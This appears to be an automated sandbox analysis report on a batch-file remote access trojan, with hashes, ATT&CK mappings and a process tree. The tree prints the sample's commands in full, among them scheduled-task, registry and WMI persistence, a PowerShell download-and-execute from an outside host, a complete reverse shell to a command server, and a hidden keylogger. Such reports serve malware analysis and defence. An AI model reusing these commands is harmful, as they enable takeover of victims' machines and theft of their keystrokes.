bc01ef95ea3f479f4eb529229dd6a71b0e9ac65c98349b0def43d8496edee44a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:03

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General

Target
rat_build_72855_014240.bat
Size 4KB
Sample260529-1ykzssh19l
SHA256 bc01ef95ea3f479f4eb529229dd6a71b0e9ac65c98349b0def43d8496edee44a
MD5 1cb2aa6e6d364cbf0508b1ba1ec4d59c
SHA1 b615adf84ca0be14d71ebaa1263e994448779538
SHA512 6cdf57d3caf7ece5a9bc533696bdef8982610abf12f7aa221e7cc379b60cd78e6a038d4b2b2a05b7037ebf560cff898fe4b5896ac9810eac495eb69b17731459
SSDEEP 96:7IrJWvNQKkIYz3oUOpDrx0dsPGO26fyQGcZglYjgN9FiFgZk8mvlo1PObY:7hvNQgYz3W50dsPIQGcmlYjwiFgkHlAr
TLSH
T101A129275752B1748BB01618E9323869675CD6FF2301C6DDAB4CCCC90A4CA93D53E6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_72855.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4216	powershell.exe
4812	powershell.exe
5064	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_72855 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_72855.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4684	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4516	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4976	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4216	powershell.exe
4216	powershell.exe
4812	powershell.exe
4812	powershell.exe
5064	powershell.exe
5064	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4600	WMIC.exe
Token: SeSecurityPrivilege	4600	WMIC.exe
Token: SeTakeOwnershipPrivilege	4600	WMIC.exe
Token: SeLoadDriverPrivilege	4600	WMIC.exe
Token: SeSystemProfilePrivilege	4600	WMIC.exe
Token: SeSystemtimePrivilege	4600	WMIC.exe
Token: SeProfSingleProcessPrivilege	4600	WMIC.exe
Token: SeIncBasePriorityPrivilege	4600	WMIC.exe
Token: SeCreatePagefilePrivilege	4600	WMIC.exe
Token: SeBackupPrivilege	4600	WMIC.exe
Token: SeRestorePrivilege	4600	WMIC.exe
Token: SeShutdownPrivilege	4600	WMIC.exe
Token: SeDebugPrivilege	4600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4600	WMIC.exe
Token: SeRemoteShutdownPrivilege	4600	WMIC.exe
Token: SeUndockPrivilege	4600	WMIC.exe
Token: SeManageVolumePrivilege	4600	WMIC.exe
Token: 33	4600	WMIC.exe
Token: 34	4600	WMIC.exe
Token: 35	4600	WMIC.exe
Token: 36	4600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4600	WMIC.exe
Token: SeSecurityPrivilege	4600	WMIC.exe
Token: SeTakeOwnershipPrivilege	4600	WMIC.exe
Token: SeLoadDriverPrivilege	4600	WMIC.exe
Token: SeSystemProfilePrivilege	4600	WMIC.exe
Token: SeSystemtimePrivilege	4600	WMIC.exe
Token: SeProfSingleProcessPrivilege	4600	WMIC.exe
Token: SeIncBasePriorityPrivilege	4600	WMIC.exe
Token: SeCreatePagefilePrivilege	4600	WMIC.exe
Token: SeBackupPrivilege	4600	WMIC.exe
Token: SeRestorePrivilege	4600	WMIC.exe
Token: SeShutdownPrivilege	4600	WMIC.exe
Token: SeDebugPrivilege	4600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4600	WMIC.exe
Token: SeRemoteShutdownPrivilege	4600	WMIC.exe
Token: SeUndockPrivilege	4600	WMIC.exe
Token: SeManageVolumePrivilege	4600	WMIC.exe
Token: 33	4600	WMIC.exe
Token: 34	4600	WMIC.exe
Token: 35	4600	WMIC.exe
Token: 36	4600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4556	WMIC.exe
Token: SeSecurityPrivilege	4556	WMIC.exe
Token: SeTakeOwnershipPrivilege	4556	WMIC.exe
Token: SeLoadDriverPrivilege	4556	WMIC.exe
Token: SeSystemProfilePrivilege	4556	WMIC.exe
Token: SeSystemtimePrivilege	4556	WMIC.exe
Token: SeProfSingleProcessPrivilege	4556	WMIC.exe
Token: SeIncBasePriorityPrivilege	4556	WMIC.exe
Token: SeCreatePagefilePrivilege	4556	WMIC.exe
Token: SeBackupPrivilege	4556	WMIC.exe
Token: SeRestorePrivilege	4556	WMIC.exe
Token: SeShutdownPrivilege	4556	WMIC.exe
Token: SeDebugPrivilege	4556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4556	WMIC.exe
Token: SeRemoteShutdownPrivilege	4556	WMIC.exe
Token: SeUndockPrivilege	4556	WMIC.exe
Token: SeManageVolumePrivilege	4556	WMIC.exe
Token: 33	4556	WMIC.exe
Token: 34	4556	WMIC.exe
Token: 35	4556	WMIC.exe
Token: 36	4556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4556	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 872	4432	cmd.exe	87
PID 4432 wrote to memory of 4976	4432	cmd.exe	88
PID 4432 wrote to memory of 4600	4432	cmd.exe	89
PID 4432 wrote to memory of 4556	4432	cmd.exe	90
PID 4432 wrote to memory of 4940	4432	cmd.exe	91
PID 4432 wrote to memory of 4516	4432	cmd.exe	113
PID 4432 wrote to memory of 4684	4432	cmd.exe	115
PID 4432 wrote to memory of 4216	4432	cmd.exe	116
PID 4432 wrote to memory of 4812	4432	cmd.exe	117
PID 4432 wrote to memory of 5064	4432	cmd.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_72855_014240.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_72855" /tr "C:\Users\Admin\AppData\Local\Temp\_72855.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:872
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_72855" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_72855.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4976
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_72855", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_72855", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_72855.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_72855.txt
  2⤵
  PID:4940
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4516
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_72855.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 828f4e99c3f55ded0ac55e189402d38b2a3fc72869a79c5d5a933eb8ab9e42fd
MD5 21ae5dee08baa60ad5753b1006c06dc5
SHA1 49029ab9c1514680554baf6d6bf29ed456465717
SHA512 94d1dbc722b15d25c9118b49a49b15f0489bf1d5d1ccd1fe809e3380f676f293cb6aa6df93eec5043f034a046f5993f00ce31a4b8b4ffb41088b723d45cbab7f
TLSH
T1E3117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dqbuejbz.jrl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dqbuejbz.jrl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4216-10-0x0000020158910000-0x0000020158932000-memory.dmp

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memory/4216-13-0x0000020158BF0000-0x0000020158D3E000-memory.dmp

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memory/4812-24-0x000001F172DB0000-0x000001F172EFE000-memory.dmp

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memory/5064-34-0x0000025247980000-0x0000025247ACE000-memory.dmp

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